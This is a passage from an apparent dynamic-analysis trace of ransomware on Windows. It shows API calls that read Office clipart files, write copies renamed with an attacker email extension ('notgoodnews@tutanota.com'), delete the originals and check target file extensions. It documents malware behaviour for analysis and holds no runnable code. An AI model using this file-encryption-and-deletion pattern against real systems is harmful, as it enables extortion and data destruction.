lpFileSize=0x2bdff14*=22116) returned 1 [0161.154] CloseHandle (hObject=0x4b4) returned 1 [0161.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0161.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.155] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.155] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0161.156] GetLastError () returned 0x0 [0161.156] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x5664, lpOverlapped=0x0) returned 1 [0161.158] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5670, lpOverlapped=0x0) returned 1 [0161.159] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.160] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.160] SetEndOfFile (hFile=0x46c) returned 1 [0161.160] CloseHandle (hObject=0x46c) returned 1 [0161.160] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.160] SetEndOfFile (hFile=0x4b4) returned 1 [0161.163] CloseHandle (hObject=0x4b4) returned 1 [0161.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0161.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.164] lstrlenW (lpString=".doc") returned 4 [0161.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.165] lstrlenW (lpString=".docx") returned 5 [0161.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.165] lstrlenW (lpString=".pdf") returned 4 [0161.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.165] lstrlenW (lpString=".xls") returned 4 [0161.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.165] lstrlenW (lpString=".xlsx") returned 5 [0161.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.165] lstrlenW (lpString=".ppt") returned 4 [0161.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.165] lstrlenW (lpString=".zip") returned 4 [0161.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.165] lstrlenW (lpString=".rar") returned 4 [0161.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.165] lstrlenW (lpString=".bz2") returned 4 [0161.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.165] lstrlenW (lpString=".7z") returned 3 [0161.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.165] lstrlenW (lpString=".dbf") returned 4 [0161.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.165] lstrlenW (lpString=".1cd") returned 4 [0161.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.165] lstrlenW (lpString=".jpg") returned 4 [0161.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.166] lstrlenW (lpString=".doc") returned 4 [0161.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.166] lstrlenW (lpString=".docx") returned 5 [0161.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.166] lstrlenW (lpString=".pdf") returned 4 [0161.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.166] lstrlenW (lpString=".xls") returned 4 [0161.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.166] lstrlenW (lpString=".xlsx") returned 5 [0161.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.166] lstrlenW (lpString=".ppt") returned 4 [0161.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.166] lstrlenW (lpString=".zip") returned 4 [0161.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.166] lstrlenW (lpString=".rar") returned 4 [0161.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.166] lstrlenW (lpString=".bz2") returned 4 [0161.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.166] lstrlenW (lpString=".7z") returned 3 [0161.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.166] lstrlenW (lpString=".dbf") returned 4 [0161.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.166] lstrlenW (lpString=".1cd") returned 4 [0161.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0161.166] lstrlenW (lpString=".jpg") returned 4 [0161.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.167] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.167] lstrlenW (lpString="HM00116_.WMF") returned 12 [0161.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.167] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=15852) returned 1 [0161.167] CloseHandle (hObject=0x4b4) returned 1 [0161.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0161.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.168] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.168] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0161.168] GetLastError () returned 0x0 [0161.168] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x3dec, lpOverlapped=0x0) returned 1 [0161.601] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3df0, lpOverlapped=0x0) returned 1 [0161.603] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.603] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.603] SetEndOfFile (hFile=0x46c) returned 1 [0161.604] CloseHandle (hObject=0x46c) returned 1 [0161.604] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.604] SetEndOfFile (hFile=0x4b4) returned 1 [0161.607] CloseHandle (hObject=0x4b4) returned 1 [0161.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.609] lstrlenW (lpString=".doc") returned 4 [0161.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".docx") returned 5 [0161.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.609] lstrlenW (lpString=".pdf") returned 4 [0161.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".xls") returned 4 [0161.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.609] lstrlenW (lpString=".xlsx") returned 5 [0161.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.609] lstrlenW (lpString=".ppt") returned 4 [0161.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.609] lstrlenW (lpString=".zip") returned 4 [0161.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.609] lstrlenW (lpString=".rar") returned 4 [0161.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".bz2") returned 4 [0161.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".7z") returned 3 [0161.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.609] lstrlenW (lpString=".dbf") returned 4 [0161.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.610] lstrlenW (lpString=".1cd") returned 4 [0161.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.610] lstrlenW (lpString=".jpg") returned 4 [0161.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.610] lstrlenW (lpString=".doc") returned 4 [0161.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString=".docx") returned 5 [0161.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.610] lstrlenW (lpString=".pdf") returned 4 [0161.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString=".xls") returned 4 [0161.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.610] lstrlenW (lpString=".xlsx") returned 5 [0161.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.610] lstrlenW (lpString=".ppt") returned 4 [0161.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.610] lstrlenW (lpString=".zip") returned 4 [0161.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.610] lstrlenW (lpString=".rar") returned 4 [0161.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString=".bz2") returned 4 [0161.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.611] lstrlenW (lpString=".7z") returned 3 [0161.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.611] lstrlenW (lpString=".dbf") returned 4 [0161.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.611] lstrlenW (lpString=".1cd") returned 4 [0161.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0161.611] lstrlenW (lpString=".jpg") returned 4 [0161.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.611] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.611] lstrlenW (lpString="IN00204_.WMF") returned 12 [0161.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.612] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1848) returned 1 [0161.612] CloseHandle (hObject=0x4b4) returned 1 [0161.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0161.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.613] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.613] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0161.614] GetLastError () returned 0x0 [0161.614] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x738, lpOverlapped=0x0) returned 1 [0161.631] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x740, lpOverlapped=0x0) returned 1 [0161.633] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.633] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.633] SetEndOfFile (hFile=0x46c) returned 1 [0161.633] CloseHandle (hObject=0x46c) returned 1 [0161.633] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.633] SetEndOfFile (hFile=0x4b4) returned 1 [0161.636] CloseHandle (hObject=0x4b4) returned 1 [0161.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0161.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.641] lstrlenW (lpString=".doc") returned 4 [0161.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.641] lstrlenW (lpString=".docx") returned 5 [0161.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.641] lstrlenW (lpString=".pdf") returned 4 [0161.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.641] lstrlenW (lpString=".xls") returned 4 [0161.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.641] lstrlenW (lpString=".xlsx") returned 5 [0161.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.641] lstrlenW (lpString=".ppt") returned 4 [0161.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.641] lstrlenW (lpString=".zip") returned 4 [0161.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.641] lstrlenW (lpString=".rar") returned 4 [0161.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.641] lstrlenW (lpString=".bz2") returned 4 [0161.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.641] lstrlenW (lpString=".7z") returned 3 [0161.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.641] lstrlenW (lpString=".dbf") returned 4 [0161.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.641] lstrlenW (lpString=".1cd") returned 4 [0161.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.642] lstrlenW (lpString=".jpg") returned 4 [0161.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.642] lstrlenW (lpString=".doc") returned 4 [0161.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.642] lstrlenW (lpString=".docx") returned 5 [0161.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.642] lstrlenW (lpString=".pdf") returned 4 [0161.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.642] lstrlenW (lpString=".xls") returned 4 [0161.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.642] lstrlenW (lpString=".xlsx") returned 5 [0161.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.642] lstrlenW (lpString=".ppt") returned 4 [0161.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.642] lstrlenW (lpString=".zip") returned 4 [0161.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.642] lstrlenW (lpString=".rar") returned 4 [0161.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.642] lstrlenW (lpString=".bz2") returned 4 [0161.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.642] lstrlenW (lpString=".7z") returned 3 [0161.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.642] lstrlenW (lpString=".dbf") returned 4 [0161.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.642] lstrlenW (lpString=".1cd") returned 4 [0161.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0161.642] lstrlenW (lpString=".jpg") returned 4 [0161.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.643] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.643] lstrlenW (lpString="IN00343_.WMF") returned 12 [0161.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.646] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1892) returned 1 [0161.646] CloseHandle (hObject=0x4b4) returned 1 [0161.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft 